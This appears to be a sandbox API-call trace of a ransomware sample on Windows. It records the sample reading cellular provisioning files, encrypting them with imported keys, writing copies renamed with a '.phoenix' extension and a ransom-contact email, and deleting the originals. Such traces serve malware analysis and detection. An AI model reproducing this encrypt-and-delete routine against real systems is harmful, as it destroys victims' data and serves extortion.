	[0258.509] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.509] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0258.509] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.509] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bd, lpOverlapped=0x0) returned 1
	[0258.510] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0258.510] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0258.511] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0258.511] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.511] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.511] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.511] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.511] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.511] CloseHandle (hObject=0x2e0) returned 1
	[0258.511] CloseHandle (hObject=0x2f4) returned 1
	[0258.512] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.512] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.512] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.513] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=921) returned 1
	[0258.513] CloseHandle (hObject=0x2f4) returned 1
	[0258.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.513] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.513] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.515] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0258.515] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.515] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x399, lpOverlapped=0x0) returned 1
	[0258.517] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x3a0) returned 1
	[0258.517] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x3a0, lpOverlapped=0x0) returned 1
	[0258.517] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0258.517] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.517] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.517] CryptDestroyKey (hKey=0x151040) returned 1
	[0258.517] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.518] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.518] CloseHandle (hObject=0x2f4) returned 1
	[0258.518] CloseHandle (hObject=0x2e0) returned 1
	[0258.518] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.519] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.519] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=457) returned 1
	[0258.519] CloseHandle (hObject=0x2e0) returned 1
	[0258.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0258.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.519] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.520] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.520] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0258.520] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.520] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c9, lpOverlapped=0x0) returned 1
	[0258.521] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0258.521] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.522] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0258.522] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.522] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0258.522] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.522] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0258.522] CryptDestroyKey (hKey=0x151480) returned 1
	[0258.522] CloseHandle (hObject=0x2e0) returned 1
	[0258.523] CloseHandle (hObject=0x2f4) returned 1
	[0258.523] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0258.523] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.524] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=903) returned 1
	[0258.524] CloseHandle (hObject=0x2f4) returned 1
	[0258.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.524] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.524] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.524] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.525] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0258.525] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.525] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x387, lpOverlapped=0x0) returned 1
	[0258.526] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390, dwBufLen=0x390 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390) returned 1
	[0258.526] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x390, lpOverlapped=0x0) returned 1
	[0258.537] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0258.537] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.537] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.537] CryptDestroyKey (hKey=0x151180) returned 1
	[0258.537] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.537] CryptDestroyKey (hKey=0x151480) returned 1
	[0258.537] CloseHandle (hObject=0x2f4) returned 1
	[0258.537] CloseHandle (hObject=0x2e0) returned 1
	[0258.682] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.683] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.683] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=458) returned 1
	[0258.683] CloseHandle (hObject=0x244) returned 1
	[0258.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0258.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.684] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.684] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.684] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\718__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.684] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151340) returned 1
	[0258.684] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.684] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1ca, lpOverlapped=0x0) returned 1
	[0258.685] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0258.685] WriteFile (in: hFile=0x250, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0258.686] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.686] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.686] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.686] WriteFile (in: hFile=0x250, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
